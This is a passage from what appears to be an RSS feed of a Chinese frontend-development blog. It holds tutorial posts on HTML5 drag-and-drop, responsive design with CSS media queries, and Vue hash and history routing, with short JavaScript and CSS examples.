&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#a6e22e"&gt;event&lt;/span&gt;.&lt;span style="color:#a6e22e"&gt;dataTransfer&lt;/span&gt;.&lt;span style="color:#a6e22e"&gt;setData&lt;/span&gt;(&lt;span style="color:#e6db74"&gt;&amp;#39;text&amp;#39;&lt;/span&gt;, &lt;span style="color:#e6db74"&gt;&amp;#39;Dragged Data&amp;#39;&lt;/span&gt;);
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#75715e"&gt;// drop 中获取数据
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#66d9ef"&gt;const&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;data&lt;/span&gt; &lt;span style="color:#f92672"&gt;=&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;event&lt;/span&gt;.&lt;span style="color:#a6e22e"&gt;dataTransfer&lt;/span&gt;.&lt;span style="color:#a6e22e"&gt;getData&lt;/span&gt;(&lt;span style="color:#e6db74"&gt;&amp;#39;text&amp;#39;&lt;/span&gt;);
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;传输多种数据类型&lt;/strong&gt;：考察如何传输不同的数据类型（如文本、URL、文件等）以及如何处理这些数据。&lt;/li&gt;
&lt;/ul&gt;
&lt;h3 id="5-dropzone-区域的设置"&gt;5. &lt;strong&gt;dropzone 区域的设置&lt;/strong&gt;&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;允许放置元素&lt;/strong&gt;：默认情况下，放置区域不会接受被拖拽的元素，需要在 &lt;code&gt;dragover&lt;/code&gt; 事件中调用 &lt;code&gt;event.preventDefault()&lt;/code&gt; 来显式地允许放置操作。&lt;/li&gt;
&lt;/ul&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-javascript" data-lang="javascript"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#66d9ef"&gt;const&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;dropzone&lt;/span&gt; &lt;span style="color:#f92672"&gt;=&lt;/span&gt; document.&lt;span style="color:#a6e22e"&gt;getElementById&lt;/span&gt;(&lt;span style="color:#e6db74"&gt;&amp;#39;dropzone&amp;#39;&lt;/span&gt;);
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#a6e22e"&gt;dropzone&lt;/span&gt;.&lt;span style="color:#a6e22e"&gt;addEventListener&lt;/span&gt;(&lt;span style="color:#e6db74"&gt;&amp;#39;dragover&amp;#39;&lt;/span&gt;, (&lt;span style="color:#a6e22e"&gt;event&lt;/span&gt;) =&amp;gt; {
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#a6e22e"&gt;event&lt;/span&gt;.&lt;span style="color:#a6e22e"&gt;preventDefault&lt;/span&gt;(); &lt;span style="color:#75715e"&gt;// 允许放置
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;});
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h3 id="6-拖拽的样式处理"&gt;6. &lt;strong&gt;拖拽的样式处理&lt;/strong&gt;&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;自定义拖拽效果&lt;/strong&gt;：通过 &lt;code&gt;event.dataTransfer.setDragImage()&lt;/code&gt; 设置自定义的拖拽图片，考察点可能包括如何替换默认的拖拽预览图。&lt;/li&gt;
&lt;/ul&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-javascript" data-lang="javascript"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#a6e22e"&gt;event&lt;/span&gt;.&lt;span style="color:#a6e22e"&gt;dataTransfer&lt;/span&gt;.&lt;span style="color:#a6e22e"&gt;setDragImage&lt;/span&gt;(&lt;span style="color:#a6e22e"&gt;imageElement&lt;/span&gt;, &lt;span style="color:#a6e22e"&gt;offsetX&lt;/span&gt;, &lt;span style="color:#a6e22e"&gt;offsetY&lt;/span&gt;);
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;拖拽时的 CSS 样式&lt;/strong&gt;：考察如何使用 CSS 类和事件配合，实现拖拽时的视觉效果。&lt;/li&gt;
&lt;/ul&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-css" data-lang="css"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;.&lt;span style="color:#a6e22e"&gt;dragging&lt;/span&gt; {
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;opacity&lt;/span&gt;: &lt;span style="color:#ae81ff"&gt;0.5&lt;/span&gt;;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;}
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h3 id="7-跨页面或跨应用的拖拽"&gt;7. &lt;strong&gt;跨页面或跨应用的拖拽&lt;/strong&gt;&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;跨文档拖拽&lt;/strong&gt;：考察是否了解如何处理跨 iframe 或浏览器窗口的拖拽。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;拖拽文件&lt;/strong&gt;：用户可以将外部文件（如从桌面拖动文件）拖入浏览器的 &lt;code&gt;dropzone&lt;/code&gt;，需要处理 &lt;code&gt;dataTransfer.files&lt;/code&gt; 属性。&lt;/li&gt;
&lt;/ul&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-javascript" data-lang="javascript"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#66d9ef"&gt;const&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;files&lt;/span&gt; &lt;span style="color:#f92672"&gt;=&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;event&lt;/span&gt;.&lt;span style="color:#a6e22e"&gt;dataTransfer&lt;/span&gt;.&lt;span style="color:#a6e22e"&gt;files&lt;/span&gt;;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h3 id="8-拖拽与输入法的冲突"&gt;8. &lt;strong&gt;拖拽与输入法的冲突&lt;/strong&gt;&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;在移动设备上，拖拽和触摸事件可能存在冲突，因此考察点可能包括如何处理拖拽在移动端的实现或替代方案。&lt;/li&gt;
&lt;/ul&gt;
&lt;h3 id="9-可访问性"&gt;9. &lt;strong&gt;可访问性&lt;/strong&gt;&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;键盘可用性&lt;/strong&gt;：默认拖拽操作主要依赖鼠标，因此考察点可能包括如何使拖拽操作可通过键盘导航，确保网站的无障碍性。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;ARIA 支持&lt;/strong&gt;：在实现拖拽功能时，如何使用 ARIA 属性为屏幕阅读器用户提供反馈是常见的可访问性考察点。&lt;/li&gt;
&lt;/ul&gt;
&lt;h3 id="10-兼容性"&gt;10. &lt;strong&gt;兼容性&lt;/strong&gt;&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;浏览器兼容性&lt;/strong&gt;：HTML5 拖拽在不同浏览器中的支持情况不一致，尤其是在移动端，考察点可能包括如何处理浏览器兼容性问题，特别是在触摸设备上使用拖拽功能时的挑战。&lt;/li&gt;
&lt;/ul&gt;
&lt;h3 id="11-常见的应用场景"&gt;11. &lt;strong&gt;常见的应用场景&lt;/strong&gt;&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;文件上传&lt;/strong&gt;：通过拖拽文件进行上传是常见的考察场景，如何实现文件的拖放上传功能是常见问题。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;可拖拽列表&lt;/strong&gt;：如何通过拖拽重新排序列表项，如实现类似于 &lt;code&gt;Trello&lt;/code&gt; 的拖放功能。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;游戏和图形界面&lt;/strong&gt;：拖放在交互式游戏或图形应用中被广泛使用，可能会考察如何通过拖拽元素实现复杂的交互效果。&lt;/li&gt;
&lt;/ul&gt;
&lt;h3 id="12-事件顺序"&gt;12. &lt;strong&gt;事件顺序&lt;/strong&gt;&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;了解拖拽过程中的事件触发顺序也是一个重要的考察点，常见顺序为：&lt;code&gt;dragstart&lt;/code&gt; -&amp;gt; &lt;code&gt;drag&lt;/code&gt; -&amp;gt; &lt;code&gt;dragenter&lt;/code&gt; -&amp;gt; &lt;code&gt;dragover&lt;/code&gt; -&amp;gt; &lt;code&gt;drop&lt;/code&gt; -&amp;gt; &lt;code&gt;dragend&lt;/code&gt;。&lt;/li&gt;
&lt;/ul&gt;
&lt;h3 id="13-拖拽的取消"&gt;13. &lt;strong&gt;拖拽的取消&lt;/strong&gt;&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;取消拖拽&lt;/strong&gt;：通过调用 &lt;code&gt;event.preventDefault()&lt;/code&gt; 可以阻止某些拖拽事件的默认行为，如取消 &lt;code&gt;drop&lt;/code&gt; 事件。&lt;/li&gt;
&lt;/ul&gt;
&lt;h3 id="14-使用-javascript-框架实现拖拽"&gt;14. &lt;strong&gt;使用 JavaScript 框架实现拖拽&lt;/strong&gt;&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;有些前端面试可能会考察如何利用 JavaScript 框架（如 React、Vue、Angular）实现拖拽交互，以及如何处理拖拽相关的状态管理和数据绑定。&lt;/li&gt;
&lt;/ul&gt;</description></item><item><title>响应式设计</title><link>https://amatsuzero.github.io/LastStand/posts/frontend/css/css-018/</link><pubDate>Tue, 08 Oct 2024 00:00:00 +0800</pubDate><guid>https://amatsuzero.github.io/LastStand/posts/frontend/css/css-018/</guid><description>&lt;h2 id="引言"&gt;引言&lt;/h2&gt;
&lt;p&gt;响应式布局指的是同一页面在不同屏幕尺寸下有不同的布局。传统的开发方式是PC端开发一套，手机端再开发一套，而使用响应式布局只要开发一套就够，缺点就是&lt;code&gt;CSS&lt;/code&gt;比较重。下面是博客网站对不同设备适配后的结果，分别是&lt;code&gt;iPhone5/SE&lt;/code&gt;,&lt;code&gt;iphone6/7/8&lt;/code&gt;,&lt;code&gt;iphone 6/7/8 plus&lt;/code&gt;,&lt;code&gt;ipad pro&lt;/code&gt;,&lt;code&gt;dell台式宽屏(1440 X 900)&lt;/code&gt;。&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;响应式设计与自适应设计的区别：响应式开发一套界面，通过检测视口分辨率，针对不同客户端在客户端做代码处理，来展现不同的布局和内容；自适应需要开发多套界面，通过检测视口分辨率，来判断当前访问的设备是pc端、平板、手机，从而请求服务层，返回不同的页面。&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;&lt;img loading="lazy" src="https://amatsuzero.github.io/LastStand/posts/frontend/css/css-018/image-01.webp"&gt;&lt;/p&gt;
&lt;p&gt;&lt;img loading="lazy" src="https://amatsuzero.github.io/LastStand/posts/frontend/css/css-018/image-02.webp"&gt;&lt;/p&gt;
&lt;p&gt;&lt;img loading="lazy" src="https://amatsuzero.github.io/LastStand/posts/frontend/css/css-018/image-03.webp"&gt;&lt;/p&gt;
&lt;h2 id="响应式布局的实现方案"&gt;响应式布局的实现方案&lt;/h2&gt;
&lt;h3 id="1-媒体查询"&gt;1. 媒体查询&lt;/h3&gt;
&lt;p&gt;&lt;code&gt;CSS3&lt;/code&gt;媒体查询可以让我们针对不同的媒体类型定义不同的样式，当重置浏览器窗口大小的过程中，页面也会根据浏览器的宽度和高度重新渲染页面。&lt;/p&gt;
&lt;h4 id="如何选择屏幕大小分割点"&gt;如何选择屏幕大小分割点&lt;/h4&gt;
&lt;p&gt;如何确定媒体查询的分割点也是一个开发中会遇到的问题，下面是市场上的移动设备和电脑屏幕分辨率的分布情况，可以发现不同品牌和型号的设备屏幕分辨率一般都不一样&lt;/p&gt;
&lt;p&gt;&lt;img loading="lazy" src="https://amatsuzero.github.io/LastStand/posts/frontend/css/css-018/image-04.webp"&gt;&lt;/p&gt;
&lt;p&gt;如果我们选择&lt;code&gt;600px&lt;/code&gt;,&lt;code&gt;900px&lt;/code&gt;,&lt;code&gt;1200px&lt;/code&gt;,&lt;code&gt;1800px&lt;/code&gt;作为分割点，可以适配到常见的14个机型：&lt;/p&gt;
&lt;p&gt;&lt;img loading="lazy" src="https://amatsuzero.github.io/LastStand/posts/frontend/css/css-018/image-05.webp"&gt;&lt;/p&gt;
&lt;p&gt;当然这只是其中的一种分割方案，我们还可以这样划分：&lt;code&gt;480px&lt;/code&gt;,&lt;code&gt;800px&lt;/code&gt;,&lt;code&gt;1400px&lt;/code&gt;,&lt;code&gt;1400px&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;&lt;img loading="lazy" src="https://amatsuzero.github.io/LastStand/posts/frontend/css/css-018/image-06.webp"&gt;&lt;/p&gt;
&lt;p&gt;而作为曾经典型的响应式布局框架，&lt;code&gt;Bootstrap&lt;/code&gt;是怎么进行断点的呢？&lt;/p&gt;
&lt;p&gt;&lt;img loading="lazy" src="https://amatsuzero.github.io/LastStand/posts/frontend/css/css-018/image-07.webp"&gt;&lt;/p&gt;
&lt;p&gt;上面的分割方案不一定满足项目中的实际需求，我们可以先用跨度大的分割点进行分割，如果出现不适配的情况可以再根据实际情况增加新的分割点。&lt;/p&gt;
&lt;h4 id="移动优先-or-pc优先"&gt;移动优先 OR PC优先&lt;/h4&gt;
&lt;p&gt;不管是移动优先还是PC优先，都是依据当随着屏幕宽度增大或减小的时候，后面的样式会覆盖前面的样式。因此，移动端优先首先使用的是&lt;code&gt;min-width&lt;/code&gt;，PC端优先使用的&lt;code&gt;max-width&lt;/code&gt;。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;移动优先:&lt;/strong&gt;&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-css" data-lang="css"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#75715e"&gt;/* iphone6 7 8 */&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#f92672"&gt;body&lt;/span&gt; {
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;background-color&lt;/span&gt;: &lt;span style="color:#66d9ef"&gt;yellow&lt;/span&gt;;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;}
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#75715e"&gt;/* iphone 5 */&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;@&lt;span style="color:#66d9ef"&gt;media&lt;/span&gt; &lt;span style="color:#f92672"&gt;screen&lt;/span&gt; &lt;span style="color:#f92672"&gt;and&lt;/span&gt; &lt;span style="color:#f92672"&gt;(&lt;/span&gt;&lt;span style="color:#f92672"&gt;max-width&lt;/span&gt;&lt;span style="color:#f92672"&gt;:&lt;/span&gt; &lt;span style="color:#f92672"&gt;320px&lt;/span&gt;&lt;span style="color:#f92672"&gt;)&lt;/span&gt; {
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#f92672"&gt;body&lt;/span&gt; {
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;background-color&lt;/span&gt;: &lt;span style="color:#66d9ef"&gt;red&lt;/span&gt;;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; }
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;}
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#75715e"&gt;/* iphoneX */&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;@&lt;span style="color:#66d9ef"&gt;media&lt;/span&gt; &lt;span style="color:#f92672"&gt;screen&lt;/span&gt; &lt;span style="color:#f92672"&gt;and&lt;/span&gt; &lt;span style="color:#f92672"&gt;(&lt;/span&gt;&lt;span style="color:#f92672"&gt;min-width&lt;/span&gt;&lt;span style="color:#f92672"&gt;:&lt;/span&gt; &lt;span style="color:#f92672"&gt;375px&lt;/span&gt;&lt;span style="color:#f92672"&gt;)&lt;/span&gt; &lt;span style="color:#f92672"&gt;and&lt;/span&gt; &lt;span style="color:#f92672"&gt;(&lt;/span&gt;&lt;span style="color:#f92672"&gt;-webkit-device-pixel-ratio&lt;/span&gt;&lt;span style="color:#f92672"&gt;:&lt;/span&gt; &lt;span style="color:#f92672"&gt;3&lt;/span&gt;&lt;span style="color:#f92672"&gt;)&lt;/span&gt; {
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#f92672"&gt;body&lt;/span&gt; {
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;background-color&lt;/span&gt;: &lt;span style="color:#ae81ff"&gt;#0FF000&lt;/span&gt;;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; }
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;}
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#75715e"&gt;/* iphone6 7 8 plus */&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;@&lt;span style="color:#66d9ef"&gt;media&lt;/span&gt; &lt;span style="color:#f92672"&gt;screen&lt;/span&gt; &lt;span style="color:#f92672"&gt;and&lt;/span&gt; &lt;span style="color:#f92672"&gt;(&lt;/span&gt;&lt;span style="color:#f92672"&gt;min-width&lt;/span&gt;&lt;span style="color:#f92672"&gt;:&lt;/span&gt; &lt;span style="color:#f92672"&gt;414px&lt;/span&gt;&lt;span style="color:#f92672"&gt;)&lt;/span&gt; {
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#f92672"&gt;body&lt;/span&gt; {
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;background-color&lt;/span&gt;: &lt;span style="color:#66d9ef"&gt;blue&lt;/span&gt;;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; }
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;}
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#75715e"&gt;/* ipad */&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;@&lt;span style="color:#66d9ef"&gt;media&lt;/span&gt; &lt;span style="color:#f92672"&gt;screen&lt;/span&gt; &lt;span style="color:#f92672"&gt;and&lt;/span&gt; &lt;span style="color:#f92672"&gt;(&lt;/span&gt;&lt;span style="color:#f92672"&gt;min-width&lt;/span&gt;&lt;span style="color:#f92672"&gt;:&lt;/span&gt; &lt;span style="color:#f92672"&gt;768px&lt;/span&gt;&lt;span style="color:#f92672"&gt;)&lt;/span&gt; {
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#f92672"&gt;body&lt;/span&gt; {
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;background-color&lt;/span&gt;: &lt;span style="color:#66d9ef"&gt;green&lt;/span&gt;;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; }
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;}
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#75715e"&gt;/* ipad pro */&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;@&lt;span style="color:#66d9ef"&gt;media&lt;/span&gt; &lt;span style="color:#f92672"&gt;screen&lt;/span&gt; &lt;span style="color:#f92672"&gt;and&lt;/span&gt; &lt;span style="color:#f92672"&gt;(&lt;/span&gt;&lt;span style="color:#f92672"&gt;min-width&lt;/span&gt;&lt;span style="color:#f92672"&gt;:&lt;/span&gt; &lt;span style="color:#f92672"&gt;1024px&lt;/span&gt;&lt;span style="color:#f92672"&gt;)&lt;/span&gt; {
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#f92672"&gt;body&lt;/span&gt; {
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;background-color&lt;/span&gt;: &lt;span style="color:#ae81ff"&gt;#FF00FF&lt;/span&gt;;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; }
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;}
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#75715e"&gt;/* pc */&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;@&lt;span style="color:#66d9ef"&gt;media&lt;/span&gt; &lt;span style="color:#f92672"&gt;screen&lt;/span&gt; &lt;span style="color:#f92672"&gt;and&lt;/span&gt; &lt;span style="color:#f92672"&gt;(&lt;/span&gt;&lt;span style="color:#f92672"&gt;min-width&lt;/span&gt;&lt;span style="color:#f92672"&gt;:&lt;/span&gt; &lt;span style="color:#f92672"&gt;1100px&lt;/span&gt;&lt;span style="color:#f92672"&gt;)&lt;/span&gt; {
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#f92672"&gt;body&lt;/span&gt; {
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;background-color&lt;/span&gt;: &lt;span style="color:#66d9ef"&gt;black&lt;/span&gt;;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; }
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;}
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;&lt;strong&gt;PC优先：&lt;/strong&gt;&lt;/p&gt;</description></item><item><title>vue路由</title><link>https://amatsuzero.github.io/LastStand/posts/frontend/vue/vue-018/</link><pubDate>Sat, 05 Oct 2024 00:00:00 +0800</pubDate><guid>https://amatsuzero.github.io/LastStand/posts/frontend/vue/vue-018/</guid><description>&lt;h2 id="从后端路由开始"&gt;从后端路由开始&lt;/h2&gt;
&lt;p&gt;路由这个概念最先是后端出现的。在以前用模板引擎开发页面时，经常会看到这样&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-fallback" data-lang="fallback"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;http://www.xxx.com/login
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;大致流程可以看成这样：&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;浏览器发出请求&lt;/li&gt;
&lt;li&gt;服务器监听到80端口（或443）有请求过来，并解析url路径&lt;/li&gt;
&lt;li&gt;根据服务器的路由配置，返回相应信息（可以是 html 字串，也可以是 json 数据，图片等）&lt;/li&gt;
&lt;li&gt;浏览器根据数据包的 Content-Type 来决定如何解析数据&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;简单来说路由就是用来跟后端服务器进行交互的一种方式，通过不同的路径，来请求不同的资源，请求不同的页面是路由的其中一种功能。&lt;/p&gt;
&lt;h2 id="前端路由"&gt;前端路由&lt;/h2&gt;
&lt;h4 id="1-hash-模式"&gt;1. hash 模式&lt;/h4&gt;
&lt;p&gt;随着 ajax 的流行，异步数据请求交互运行在不刷新浏览器的情况下进行。而异步交互体验的更高级版本就是 SPA —— 单页应用。单页应用不仅仅是在页面交互是无刷新的，连页面跳转都是无刷新的，为了实现单页应用，所以就有了前端路由。 类似于服务端路由，前端路由实现起来其实也很简单，就是匹配不同的 url 路径，进行解析，然后动态的渲染出区域 html 内容。但是这样存在一个问题，就是 url 每次变化的时候，都会造成页面的刷新。那解决问题的思路便是在改变 url 的情况下，保证页面的不刷新。在 2014 年之前，大家是通过 hash 来实现路由，url hash 就是类似于：&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-fallback" data-lang="fallback"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;http://www.xxx.com/#/login
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;这种 #。后面 hash 值的变化，并不会导致浏览器向服务器发出请求，浏览器不发出请求，也就不会刷新页面。另外每次 hash 值的变化，还会触发&lt;code&gt;hashchange&lt;/code&gt; 这个事件，通过这个事件我们就可以知道 hash 值发生了哪些变化。然后我们便可以监听&lt;code&gt;hashchange&lt;/code&gt;来实现更新页面部分内容的操作：&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-javascript" data-lang="javascript"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#66d9ef"&gt;function&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;matchAndUpdate&lt;/span&gt; () {
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#75715e"&gt;// todo 匹配 hash 做 dom 更新操作
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;}
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;window.&lt;span style="color:#a6e22e"&gt;addEventListener&lt;/span&gt;(&lt;span style="color:#e6db74"&gt;&amp;#39;hashchange&amp;#39;&lt;/span&gt;, &lt;span style="color:#a6e22e"&gt;matchAndUpdate&lt;/span&gt;)
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h4 id="2-history-模式"&gt;2. history 模式&lt;/h4&gt;
&lt;p&gt;14年后，因为HTML5标准发布。多了两个 API，&lt;code&gt;pushState&lt;/code&gt; 和 &lt;code&gt;replaceState&lt;/code&gt;，通过这两个 API 可以改变 url 地址且不会发送请求。同时还有&lt;code&gt;popstate&lt;/code&gt; 事件。通过这些就能用另一种方式来实现前端路由了，但原理都是跟 hash 实现相同的。用了 HTML5 的实现，单页路由的 url 就不会多出一个#，变得更加美观。但因为没有 # 号，所以当用户刷新页面之类的操作时，浏览器还是会给服务器发送请求。为了避免出现这种情况，所以这个实现需要服务器的支持，需要把所有路由都重定向到根页面。&lt;/p&gt;</description></item><item><title>事件冒泡、事件捕获、事件委托</title><link>https://amatsuzero.github.io/LastStand/posts/frontend/javascript/javascript-018/</link><pubDate>Tue, 01 Oct 2024 00:00:00 